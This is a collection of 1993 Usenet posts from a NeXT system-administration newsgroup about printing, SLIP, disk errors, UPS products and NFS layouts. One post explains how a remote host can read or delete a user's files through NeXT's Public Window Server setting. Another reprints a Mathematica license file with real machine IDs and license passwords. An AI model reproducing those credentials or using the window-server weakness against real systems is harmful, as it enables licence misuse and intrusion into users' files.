Newsgroups: comp.sys.next.sysadmin From: gaia@wam.umd.edu (L. Anathea Brooks) Subject: HELP please with Louie Mamakos' SLIP Message-ID: <1993Jan13.234229.20607@wam.umd.edu> Sender: usenet@wam.umd.edu (USENET News system) Organization: University of Maryland, College Park Date: Wed, 13 Jan 1993 23:42:29 GMT I'm trying to set up Louie Mamakos' SLIP package on a couple of Nexts (one for server relay). The manual is excellent but assumes prior knowledge of SLIP (NO info on how to use it for ex.). Can anyone help us out? We haven't used SLIP. For example, we don't know how to configure the server. Etc. etc. Thanks Brooks Johns Hopkins Univ. Nextmail rdelucca@rosemary.uucp.jhu.edu
From: gthomas@unixg.ubc.ca (Guy R Thomas) Newsgroups: comp.sys.next.sysadmin Subject: cutcp, lpd, and the NeXT. Connection Refused Date: 14 Jan 93 01:13:02 GMT Organization: The University of British Columbia Message-ID: <gthomas.726973982@unixg.ubc.ca> Summary: Help request with Clarkson U CUTCP and the LP* utilities Keywords: cutcp lpd printing network Hi; I have just tried to get the Clarkson project CUTCP and the LPD programs to work over the local ethernet. I am having problems with the LP* programs. In particular LPD gets to the point where a reset is received and a syn gets sent however the host refuses the connection. I have tried to export the printer by marking it public in the configure pannel of the PrinterManager app. This gets stoped because I am unable to export the printer to the local domain. How do I get NetInfo to go away? Or is NetInfo the culprit? Any clues would be appreciated. If anyone has gotten the LP* package that comes with CUTCP to work with a NeXT I would be gratefull for the help. Guy gthomas@native-ed.bc.ca
Newsgroups: comp.sys.next.sysadmin From: cmumford@iat.holonet.net (Chris Mumford) Subject: Erase character Message-ID: <C0tLo9.44K@iat.holonet.net> Organization: HoloNet National Internet Access BBS: 510-704-1058/modem Date: Thu, 14 Jan 1993 01:33:43 GMT
From: penney@cl-next4.cl.msu.edu (Chris Penney) Newsgroups: comp.sys.next.sysadmin Subject: Re: security Message-ID: <1j2c7dINNng6@msuinfo.cl.msu.edu> Date: 14 Jan 93 00:30:37 GMT References: <2179@nikhefh.nikhef.nl> Organization: Michigan State University If you are going to use the "me" account that comes with 'em make sure to take them out of the "wheel" group otherwise they can write to /usr/adm/{daily,monthly,weekly} and mess things up. Chris Penney penney@convex.cl.msu.edu Jos Vermaseren (t68@nikhefh.nikhef.nl) wrote: : I am trying to get some NeXTs introduced into our networks. : The system administrator is very much into security, so he would : like to know how secure the NeXT is. Can anybody comment on its : security and how it compares to other workstations (like SUN, HP, : Apollo, SGI, DEC)? : (I never see anything about it on usenet, so I guess it cannot be : too bad) : Thanks : Jos Vermaseren
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.sysadmin Subject: Re: security Date: 14 Jan 1993 02:13:42 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <1j2i8m$3im@agate.berkeley.edu> References: <1993Jan14.101109.516@otago.ac.nz> In article <1993Jan14.101109.516@otago.ac.nz> writes: >In article <2179@nikhefh.nikhef.nl>, t68@nikhefh.nikhef.nl (Jos Vermaseren) writes: >> I am trying to get some NeXTs introduced into our networks. >> The system administrator is very much into security, so he would >> like to know how secure the NeXT is. Can anybody comment on its >> security and how it compares to other workstations (like SUN, HP, >> Apollo, SGI, DEC)? > > >I have just integrated a NeXTstation turbo colour into a mixed >network of Suns, DECstations, VAXes, Macs, and PCs. The security >of the NeXT machines is as good as most other Unix systems. Perhaps the Unix/Mach OS part of NeXT is as secure as other Unix systems, but any machine with users with Public Window Server is very vulnerable. When the PWS switch is set, any user on the Internet can create a "nonsecure" DPS context to the WindowServer/DPS of the remote machine and do any file operation that the current console user is able to perform, including wiping out all the files in his/her home directory, reading his/her personal mails. All this from a totally unrelated machine where IP packets go. [Look in Librarian for keyword DPSCreateNonsecureContext.] The problem is compounded by the facts: (1) Public Window Server setting is controlled by each user. Sysadmin can only warn users to minimize its use. (2) There is no fine-grain access control for remote access to the WindowServer. All or none switch is just not acceptable. (3) Creation of "nonsecure" DPS context is controlled on the client side. Ideally, the WindowServer should be able to grant or deny creation of nonsecure DPS context via on some authentication mechanism based on which client is requesting one, which user and what program/process is requesting one. WindowServer as capable as DPS should have more security checks built into it. Just look at the file related operators in the Adobe PS Red Book. You can do all the operations listed there via remote connection to a public window server. So, if you are buying NeXTs in quantity, press NeXT to do something about it. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: chiu@wk211.nas.nasa.gov (Ing-Tsau Chiu) Subject: Help: Optical disk read error Keywords: optical Sender: news@nas.nasa.gov (News Administrator) Organization: NAS, NASA Ames Research Center, Moffett Field, California Date: Thu, 14 Jan 93 02:26:15 GMT Message-ID: <1993Jan14.022615.20793@nas.nasa.gov> I got the following message while reading an optical disk. Software Version 3.0 (Hyper3B) od0a: read failed (bitmap bad but no alternate found!) block 48 phys block 79441 (9114:0:1) Wonder if anyone knows how to fix this. Right now, the next OD drive does not accept this disk because of this error. -- -- Ing-Tsau Chiu chiu@nas.nasa.gov
From: brian@gehenna.acm.ndsu.NoDak.edu (Brian R. Glaeske) Newsgroups: comp.sys.next.sysadmin Subject: Maximum Value of UID's on the NeXT Message-ID: <C0tnK6.Gr9@ns1.nodak.edu> Date: 14 Jan 93 02:14:30 GMT Article-I.D.: ns1.C0tnK6.Gr9 Sender: usenet@ns1.nodak.edu (News login) Organization: University of Southern North Dakota, Hoople Can anyone tell me why NeXT only allows approx. 32000 as the maximum uid? In /usr/include/sys/types.h (/usr/include/bsd/sys/types.h for those with the stupid 3.0 arrangement of headers), uid_t is defined as a short int, whereas on most Unix machines it is defined as a unsigned short int. In the changes section of the this header, Morris Meyer of NeXT said it was changed because of NFS 4.0. Anyone have a reason for this? Thanks, -- Brian Glaeske - /| brian@gehenna.acm.ndsu.NoDak.edu [NeXT Mail] o.O` --Ooop ACK!! =(___)= U "Bloom County Forever!!"
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: security Message-ID: <C0tpnu.K31@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <2179@nikhefh.nikhef.nl> <1993Jan14.101109.516@otago.ac.nz> Date: Thu, 14 Jan 1993 02:59:39 GMT athomson@otago.ac.nz (Alastair Thomson) writes: >In article <2179@nikhefh.nikhef.nl>, t68@nikhefh.nikhef.nl (Jos Vermaseren) writes: >The only hole I have seen is that any user may change printer configuration, I >think it does ot system wide, but I'm not sure. This is particularly true for >AppleTalk printers. If you remove the '_writers' property that usually has a value of '*', no one can write printcap entries in that domain. This is documented in the N&SA manual under implementing security. I believe this will secure AppleTalk printer entries too but I'm not positive. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: zeke@esosun.UUCP (James Dehnert) Newsgroups: comp.sys.next.sysadmin Subject: Re: monitoring a UPS from a serial port Message-ID: <1083@esosun.UUCP> Date: 13 Jan 93 23:06:08 GMT References: <C0rDvn.zt@hfglobe.intel.com> <1993Jan13.154221.13028@kynug.org> Organization: Science Applications International Corp., San Diego >There is a vendor with a UPS and software for the NeXT to monitor the >system and properly shut down during power outages, I will find the >information and repost. Stediwatt has a NeXT specific system. Call Scott Liddick at 1-800-345-1280. He sent me all sorts of info ( except the price, which leaves me to believe that I can't afford one ). If someone gets the priceing can you send it to me? I have no affiliation with Steadiwatt, I'm not even a customer. -- +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ = James "Zeke" Dehnert zeke@mode.css.gov = + SAIC Geophysical Div. Eschew Obfuscation + =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach) Newsgroups: comp.sys.next.sysadmin Subject: array processing functions installation problem Keywords: dsp Message-ID: <ti6ls.726954223@tuhhco> Date: 13 Jan 93 19:43:43 GMT Sender: usenet@rztsun.rz.tu-harburg.de Hey, NeXT-Gurus! I have a problem installing the array-processing functions from ccrma. After about 10 minutes "make all" aborts with the somewhat very infor- mative message bin: Make: Don't know how to make all. Stop. *** Exit 1 Stop. Maybe the reason for this problem is, that "ar" cuts some filenames giving something like: ar: filename DSPAPcvmandelbrot.o truncated to DSPAPcvmandelbr Am I on the wrong path? Anyone who knows a solution? Thanks in advance Ludger. /************************************************************************/ /* Dipl.-Ing. Ludger Solbach, AB Techn. Inf. VI, */ /* TU Hamburg-Harburg, Germany */ /* Tel.: +49-40-7718-3357 */ /* e-mail: ti6ls@tick.ti6.tu-harburg.de */ /************************************************************************/
Newsgroups: comp.sys.next.sysadmin From: ed@talus.com Subject: Re: NeXT networking advice wanted... Message-ID: <1993Jan14.035040.5576@talus.com> Sender: ed@talus.com Organization: Talus Corporation References: <1993Jan7.044109.13031@fcom.cc.utah.edu> Date: Thu, 14 Jan 1993 03:50:40 GMT In article <1993Jan7.044109.13031@fcom.cc.utah.edu> swillden@news.ccutah.edu (Shawn Willden) writes: > Hi all, > > The math dept. at Weber State University recently acquired 10 > colorstations and a mono cube (all turbos running 3.0, of course). > Each of the 'stations has the basic 250MB HD (meaning the > stripped-down OS with no Developer's stuff, Webster's, etc.) but the > cube has a 1.4 GB HD (and the full release). With ~10 mins. work I > had the machines networked and running great but then I found myself > faced with some difficult choices. > > I would like to make all the stuff on the cube available to > all of the stations. Some options are: > > 1) NFSmount the cube's /NextApps, /NextDeveloper, /NextLibrary > , /LocalApps and /LocalLibrary under /Net on the clients and > then add the /Net/... directories to the paths (anybody know > off the top of their heads how to make the WorkSpace Manager > know about those directories? I can look it up, but if you > happen to know...). One problem with this is that PB looks in > /usr/lib for some stuff to build, so I'd probably have to > mount the cube's /usr/lib over the clients. Oh, and I also > have to make /usr/man a link to /Net/NextLibrary/... to get > man pages (or tell man where to look). > What about mounting the directory "/foo in your cube at the /foo mount point instead of /Net ? For example mount the cube /LocalApps at the /LocalApps mountpoint. You just need to discover which are the directories important to developping. Anyone care to list them ? I was told /NextDevelopper had 'em all and that the rest were just links. Am I right ? Ed. --- Dieu n'est pas pour les gros bataillons, mais pour ceux qui tirent le mieux. God is on the side not of the heavy batallions, but of the best shots. Erik Dasque "The French guy" V.P. R&D Talus Corporation Houston (713) 561-0700 TeXT-mail/NeXTmail:ed@talus.com -- · Dieu n'est pas pour les gros bataillons, mais pour ceux qui tirent le mieux. God is on the side not of the heavy batallions,
Newsgroups: comp.sys.next.sysadmin From: gary@nshade.uah.ualberta.ca (Gary Ritchie) Subject: Re: a way to warn the console user Message-ID: <1993Jan14.071235.13829@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Jan12.205007.2405@ccsvax.sfasu.edu> Date: Thu, 14 Jan 1993 07:12:35 GMT f_cnnghamjk@ccsvax.sfasu.edu writes: > Can someone suggest a way to warn the console user that I'm about to reboot the machine? Write, talk or shutdown are great ONLY IF s/he has Terminal running. I have submitted a program to sonata.cc.purdue.edu and cs.orst.edu called Broadcast_1.0.compressed that lets you do this. It requires NeXTSTEP 3.0. It consists of a command-line utility "displaymsg" which pops up a panel with a message specified on the command line. You can specify the host to display the panel on, so you don't have to rlogin to the remote machine. It doesn't matter if Public Window Server is on or not. There are security issues involved, so please read the README. It only works if someone is logged on, and requires the user to launch a Workspace daemon once; it installs itself and launches itself automatically from then on. It comes with full source code, and has been exhaustively tested in the past three minutes since I finished writing it.
From: isbell@cats.ucsc.edu (Art Isbell) Newsgroups: comp.sys.next.sysadmin Subject: Re: monitoring a UPS from a serial port Date: 14 Jan 1993 07:28:09 GMT Organization: Cubic Solutions - NeXT software development and consulting Message-ID: <1j34m9INNjo2@darkstar.UCSC.EDU> References: <C0rDvn.zt@hfglobe.intel.com> <1993Jan13.154221.13028@kynug.org> In article <1993Jan13.154221.13028@kynug.org> neil@kynug.org writes: >There is a vendor with a UPS and software for the NeXT to monitor the >system and properly shut down during power outages, I will find the >information and repost. Advanced Electronics Systems, Inc. manufactures and sells the StediLANding system that features NeXTSTEP software (the only UPS vendor that can make that statement, I believe) and a StediWatt UPS in several capacities. Several nice features include a surge-protected RJ-11 jack for a modem phone line and a surge-protected (but not with uninterruptible power) AC outlet suitable for a laser printer in addition to 4 AC outlets featuring surge protection and uninterruptible power. Of course, the most important feature is its black case :-) And the next most important feature is that it's working well in all the rain, wind, and power outages northern California is having these days. For more info, call Scott Liddick at 800-733-3155 or s.liddick@genie.geis.com. So if you're considering a UPS purchase, support the only UPS vendor who supports NeXTSTEP. From a satisfied customer... -- Art Isbell Cubic Solutions NeXT Registered Developer #745 NeXT software development and consulting NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154 USmail: 95018-9442 Fax: (408)335-2515
From: al@rbc.uucp (Al Davis) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Re: Help: Optical disk read error Keywords: optical Message-ID: <1993Jan14.055050.9003@rbc.uucp> Date: 14 Jan 93 05:50:50 GMT References: <1993Jan14.022615.20793@nas.nasa.gov> Organization: Huh? In article <1993Jan14.022615.20793@nas.nasa.gov> chiu@wk211.nas.nasa.gov (Ing-Tsau Chiu) writes: >I got the following message while reading an optical disk. > >Software Version 3.0 (Hyper3B) >od0a: read failed (bitmap bad but no alternate found!) block 48 phys >block 79441 (9114:0:1) This should be in FAQ: If you can't mount an OD automatically you can still recover the data. Mount it manually! The old unix way. It will mount even if it is corrupt. Just don't try to write to it or you may corrupt it more. al.
Newsgroups: comp.sys.next.sysadmin From: zeke@znext (james dehnert) Subject: rc.local has me confused Message-ID: <1993Jan14.053105.235@znext.cts.com> Sender: zeke@znext.cts.com (james dehnert) Organization: pnet Date: Thu, 14 Jan 1993 05:31:05 GMT I have a few things in my rc.local that I'd like to run but cant seem to make happen. The first is just a sound, # If all is well up to this point play the OK sound if [ -f /LocalLibrary/Sounds/OK.snd ]; then /usr/bin/sndplay /LocalLibrary/Sounds/OK.snd else (echo 'sound not found') >/dev/console fi This used to work in 2.1, but it's a no go on 3.0. It wont even print the error message. The second is a bit trickier. I have a program ( argus ) that tells me when people log on and off my computer ( a bit more effeciently that the tcsh method, which I also use ). I'd like to start it at boot time as root and have it output to the console. I have tried variations of the following to no avail, # Run argus as root if [ -f /usr/local/bin/argus ]; then su root '/usr/local/bin/argus >/dev/console 2>&1' && \ (echo 'argus') >/dev/console fi Any suggestions? -- +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+ += Eschew Obfuscation Next Mail Welcome =+ += += =+ James "Zeke" Dehnert zeke@znext.cts.com += =+ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
Newsgroups: comp.sys.next.sysadmin From: edmtl@alf.uib.no (Thor Legvold) Subject: Telnet broken Message-ID: <1993Jan14.094915.1793@alf.uib.no> Organization: University of Bergen, Norway Date: Thu, 14 Jan 93 09:49:15 GMT Hi. I thought I'd seen this covered somewhere, but I can't seem to find where... I have a Cube and a PC hooked up via ethernett. The cube has the telnet that comes with all NeXTs (3.0), the PC has NCSA Telnet 2.2TN-sc. Telnet to/from PC/NeXT doesn't work, while ftp does. Telnet from PC to Cube hangs and says unable to establish connection, Telnet from Cube to PC gives 'packet sent to invalid port' message on the PC. Is there something I missed or do I need a different version of Telnet? Please e-mail replies. Regards, Thor edmtl@alf.uib.no
From: athomson@otago.ac.nz (Alastair Thomson) Newsgroups: comp.sys.next.sysadmin Subject: Weird file ownership problems Message-ID: <1993Jan14.194916.522@otago.ac.nz> Date: 14 Jan 93 19:49:16 +1300 Organization: University of Otago, Dunedin, New Zealand I have an odd problem. I just installed a new Micropolis 1598 1GB disk on my NSTC, running NS3.0. Thing were just dandy until I moved all my users onto that disk. The ownership of *ALL* the files of the disk appears to change to whoever uses it. Even when I change them all back using chown, after someone logs in, they own all the files on the file system. Any hints would be greatly appreciated -- =============================================================================== | Alastair Thomson, | Phone +64-3-479-8347 University of Otago, | Fax +64-3-479-8529 Department of Computer Science, | e-mail athomson@otago.ac.nz P.O. Box 56 | NeXTmail OK Dunedin | New Zealand | "God loved the world so much, that he gave us His Son, to die in our place, so that we may have eternal life" John 3:16, paraphrase ===============================================================================
Newsgroups: comp.sys.next.sysadmin From: gadallah@wu2.wl.aecl.ca (Larry Gadallah; B300-1-115; x2603) Subject: Installing 3.0 directly onto OD Message-ID: <1993Jan14.150534.26919@cu23.crl.aecl.ca> Followup-To: poster Summary: won't boot properly? Keywords: NS3.0 OD boot mount Sender: gadallah@wu2.wl.aecl.ca (Larry Gadallah) Organization: AECL Research, Whiteshell Laboratories Date: Thu, 14 Jan 1993 15:05:34 GMT I recently attempted to build a 3.0 boot disk on a new OD. I booted from the 3.0 installation floppy and CD, requested that a new system be build on the "od0a" disk and answered "y" when I was asked if the disk should be initialized. Several hours later, the installation utility finished and I hit enter to reboot. The boot seems to be OK until I get a message saying that mount could not remount /dev/od0a on /, but it continues, and there are further messages from syslog saying that /dev/log could not be created and then during startup of the network daemons, lookupd just hangs waiting for something. I was able to boot the OD in single user, but the entire file system is mounted read-only somehow. How can I fix this? I looked at the /etc/fstab for my 2.1 OD, and it looks the same as the 3.0 OD. Thanks in advance, -- ------------------------------------------------------------------------- Larry Gadallah Internet: gadallah@wu2.wl.aecl.ca UNIX Support, AECL Research Whiteshell Voice: (204) 753-2311 x2603 -------------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: harit@kripalu.com Subject: Re: >>> HELP PLEASE <<< NS 1.0 -> NS 3.0...very tough!!! Message-ID: <1993Jan14.122511.1100@uunet!cbmvax!xmws!kripalu> Sender: harit@uunet!cbmvax!xmws!kripalu Organization: Kripalu Center References: <C0rwIK.C70@news.cso.uiuc.edu> Distribution: usa Date: Thu, 14 Jan 93 12:25:11 GMT In article <C0rwIK.C70@news.cso.uiuc.edu> windsor@symcom.math.uiuc.edu (Eric W. Blankenburg) writes: > I am currently trying to upgrade my Next Cube from NextStep 1.0 directly > to NextStep 3.0. I don't have a floppy. I do have a CD-ROM Drive. I also > have a OD, but it may be useless under 3.0. I also have a 33 Mhz 040 board > that I want to install. I have the NextStep 3.0 Distribution CD. > > Here's the first question. Is there a CD-ROM Driver that runs under 1.0? > If so, where do I get it? > > Will NextStep 3.0 boot on an 030 motherboard? > > Is it essential that I have a 2.88 Floppy drive to install 3.0? > > If a CD-ROM Driver exists for 1.0, can I boot 3.0 from the CD-ROM drive and > upgrade my system? > > > If I have missed any salient points about upgrading from 1.0 to 3.0, please > realize that I only wanted to post a short note. If you know how to upgrade > from 1.0 to 3.0, please send me email at windsor@symcom.math.uiuc.edu. > > Thanks in advance > > windsor With that drastic an upgrade I would recomend making a backup of your disk, installing 3.0 from scratch, and then restoring your user and admin files. If the OD is the only disk you have this gets harder. The CD when booted directly will initialize a disk as a 3.0 disk and needs no floppy driver. Another approach that MIGHT work is to boot standalone from the CD, manually finish the boot sequence by executing the rc script. Then doing the upgrade. You will need to provide the /tmp directory as a writable directory, and there may be other things I have overlooked. I have not had to do this but I have come close when recovering from 3.0 upgrade problems. -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288
Newsgroups: comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Re: monitoring a UPS from a serial port Message-ID: <1993Jan14.155818.11950@macc.wisc.edu> Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison References: <C0rDvn.zt@hfglobe.intel.com> <1993Jan13.154221.13028@kynug.org> <1j34m9INNjo2@darkstar.UCSC.EDU> Date: Thu, 14 Jan 93 15:58:18 GMT In article <1j34m9INNjo2@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell) writes: >So if you're considering a UPS purchase, support the only UPS vendor who >supports NeXTSTEP. >From a satisfied customer... If possible, could you please post price/capacity into? Thanks! -- [Jess Anderson <> Madison Academic Computing Center <> University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: symbolic links to different local hard disk? (Mathematica on server) Date: 14 Jan 1993 16:03:22 GMT Organization: University of Houston Message-ID: <1j42saINN62n@menudo.uh.edu> References: <1j20phINNap7@stimpy.css.itd.umich.edu> In article <1j20phINNap7@stimpy.css.itd.umich.edu> danno@css.itd.umich.edu (Daniel T. Pritts) writes: # #Why not just put Mathematica on your NFS server? Oh, I suppose MMa's #licensing scheme doesn't like that. Perhaps Wolfram has a #NFS-Mountable version of MMa? Knowing them probably not but you #never know. #-- #dan pritts consultant/system administrator #dan.pritts@umich.edu um itd/css unix support group #313/998-6265 Mathematica works just fine on a server. Place it in /LocalApps. In fact, their licensing scheme works well with app located on a server. In Mathematica.app/Kernel/NeXT there is a file called mathpass. Here is where you place your password information. We have Mathematica licensed for over 40 stations and all the information is kept in this one file. For example: % Mathematica password file % fill in entries for each host for which you have a license % with the program 'mathinfo'. See installation instructions for details. % %machinename machineID License Password % %tree 4800-16812-36268 L2049-0742 7849-051-485 %tree 4800-16812-30493 L2049-0742 0584-503-116::920720 williams 4800-16816-26706 L2068-4386 9974-395-206 sysmod 4800-16844-13858 L2134-8779 9346-179-020 liehr 4800-16812-28649 L2067-0414 2007-203-502 sdl 4800-16840-26789 L2104-5989 9266-130-615 birch 4800-16813-33950 L2083-2220 3458-431-825 spruce 4800-16813-48930 L2083-2182 6342-189-932 You can comment out entries that are licensed but you don't want to run it on (ie., our servers). Try it, it works.... -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: gary@nshade.uah.ualberta.ca (Gary Ritchie) Subject: Re: a way to warn the console user Message-ID: <1993Jan14.170710.5472@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Jan14.071235.13829@kakwa.ucs.ualberta.ca> Date: Thu, 14 Jan 1993 17:07:10 GMT [I wrote] > I have submitted a program to sonata.cc.purdue.edu and cs.orst.edu called Broadcast_1.0.compressed that lets you do this. The .compressed file got corrupted somehow, so I have resubmitted it to both sites. If something goes wrong again, you can anon ftp it from: nshade.uah.ualberta.ca (/pub/submissions/Broadcast_1.0.compressed) ---- Gary Ritchie
From: isbell@cats.ucsc.edu (Art Isbell) Newsgroups: comp.sys.next.sysadmin Subject: Re: monitoring a UPS from a serial port Date: 14 Jan 1993 17:46:11 GMT Organization: Cubic Solutions - NeXT software development and consulting Message-ID: <1j48t3INNra2@darkstar.UCSC.EDU> References: <1993Jan13.154221.13028@kynug.org> <1j34m9INNjo2@darkstar.UCSC.EDU> <1993Jan14.155818.11950@macc.wisc.edu> In article <1993Jan14.155818.11950@macc.wisc.edu> anderson@macc.wisc.edu (Jess Anderson) writes: >In article <1j34m9INNjo2@darkstar.UCSC.EDU> >isbell@cats.ucsc.edu (Art Isbell) writes: >>So if you're considering a UPS purchase, support the only UPS vendor who >>supports NeXTSTEP. >If possible, could you please post price/capacity into? >Thanks! I'd rather not post the price I paid because I'm not sure whether I got a special price as an early guinea pig or not :-) I can say that I could have paid less money for a UPS of equivalent capacity (but not totally equivalent features which makes the comparison more difficult), but then I wouldn't have any NeXTSTEP battery testing and automatic shutdown software. I place a considerable value on any product that supports NeXTSTEP at a time when doing is more risky and probably less lucrative than supporting other platforms (which Advanced Electronics Systems does as well, but with the usual "white" hardware). I bought the smallest StedLANding system which includes the 500 Turbo StediWatt UPS of 400 watt capacity (I guess the "500" refers to its capacity in volt-amps). The literature I have mentions systems up to 1000 watts (1250 volt-amps) and I see product descriptions for the 750 Turbo, the 950, and the 1250 (Turbo models include some sort of very fast switching technology with a claimed switching time of as little as 20 microseconds as opposed to the conventional switching technology on the non-Turbo models which feature switching times of as much as 2 milliseconds, so I'm not sure how to categorize the Turbo models in the usual "standby", "line-interactive", and "on-line" spectrum). The specs for the 500 Turbo indicate that I can expect for battery power to last for more than 10 minutes with the load I'm running (a Cube with an internal HD and MOD drives, an external CD-ROM and floppy drives, and a modem), but it I push things to the limit (as I did last night :-), the configurable automatic shutdown provided by the software ensures a clean (sync'ed) shutdown which is an important feature that other systems without NeXTSTEP software don't provide. Advanced Electronics Systems placed an ad in the current NeXTWORLD for StediLANding, so it must be ready to sell to NeXT users (which means it must have pricing set). The included software is still being enhanced (it's easy to see its origin in other Unix systems), so a 1-year free software upgrade policy is included along with the hardware's 3-year limited warranty. I expect to see software improvements, but the only real problem I've seen is an occasional 4 false positive (about 4 in 2 months of a lot of power outages). A false positive is when an Alert panel and voice message state that a power problem has been detected even though the UPS hasn't gone into battery mode and no apparent power problems are obvious, but this is immediately followed by another Alert panel and voice message stating that power has been restored. Proper operation wouldn't alert me to a power problem until the problem had lasted for a configurable amount of time (10 seconds, by default), so I suspect some sort of bug, but certainly not a serious one like not being warned about a genuine power problem (although the UPS beeps when in battery mode, so detecting a power outage isn't tough and working in the dark is another sure sign :-) For more info, contact Scott Liddick at (800)733-3155. -- Art Isbell Cubic Solutions NeXT Registered Developer #745 NeXT software development and consulting NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154 USmail: 95018-9442 Fax: (408)335-2515
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: NeXT networking advice wanted... Message-ID: <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Jan7.044109.13031@fcom.cc.utah.edu> Date: Thu, 14 Jan 1993 20:00:48 GMT Shawn Willden (swillden@news.ccutah.edu) wrote: : Hi all, : : The math dept. at Weber State University recently acquired 10 : colorstations and a mono cube (all turbos running 3.0, of course). : Each of the 'stations has the basic 250MB HD (meaning the : stripped-down OS with no Developer's stuff, Webster's, etc.) but the : cube has a 1.4 GB HD (and the full release). With ~10 mins. work I : had the machines networked and running great but then I found myself : faced with some difficult choices. : : I would like to make all the stuff on the cube available to : all of the stations. Some options are: : : 1) NFSmount the cube's /NextApps, /NextDeveloper, /NextLibrary : , /LocalApps and /LocalLibrary under /Net on the clients and : then add the /Net/... directories to the paths (anybody know : off the top of their heads how to make the WorkSpace Manager : know about those directories? I can look it up, but if you : happen to know...). One problem with this is that PB looks in : /usr/lib for some stuff to build, so I'd probably have to : mount the cube's /usr/lib over the clients. Oh, and I also : have to make /usr/man a link to /Net/NextLibrary/... to get : man pages (or tell man where to look). : Don't do this. I don't know if they got rid of it in 3.0, but 2.x machines won't boot with /NextLibrary on a non-local disk. : 2) NFSmount the cube's directories listed above over the top : of the corresponding directories on the stations (and probably : remove the local copies). This has the disadvantage that the : Apps we *want* to place on the local hard drives will have to : be placed in some folder other than /LocalApps because the : local /LocalApps is hidden. Once again, it is necessary to : tell the WS manager to look in the new directories. This is also a bad idea -- For just the reasons you mentioned. : : 3) Netboot the clients. I *believe* (not having done it or : even read about it extensively) that this will mount the : cube's HD as the root of the local file system and will create : a /<something> subdirectory and mount the local HD there. : Again, it is necessary to tell the WS manager about the new : directories where it can expect to find apps. : : Please tell me about any other options you can think of. Netbooting will place an awful strain on your net. It's nice for booting and rebuilding a disk, but otherwise I wouldn't touch it. : : Questions: : : 1) In your experience, what is the best was to solve my : problem? : : 2) In all of the above options network usage is going to be : fairly heavy. How much of a problem is this likely to pose? : How about option 3 (netbooting)? : : 3) In all cases, I'm going to need to add to the list of : directories the WS manager expects to find apps in. I assume : that some dwrite is necessary to make this change. Is there a : way I can make the change global so I don't have to do it for : every user? : The way I solved this was to do the following: /NextApps was left on each machine, but many apps were stripped out of it. My default is to have Edit, Stuart and Mathematica. The others were moved to /LocalApps. /NextLibrary was left on each machine. However the references for Webster and Quotations were moved to /LocalLibrary, and a link left in their place. The link from /usr/man to /NextLibrary/whatever/Manpages was replaced with a link to /LocalLibrary/ManPages On one of the local servers I created and exported a directory called NextDisk. It has LocalLibrary LocalApps NextDeveloper and Untested. Nextdisk is exported to our local group, and is mounted everywhere as /.NextDisk. All machines (including the server) have links pointing from /LocalApps -> /.NextDisk/LocalApps /LocalLibrary -> /.NextDisk/LocalLibrary /NextDeveloper -> /.NextDisk/NextDeveloper etc. By doing this, you only have one mount, and only one set of mountpoint/.NextTrash directories : -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
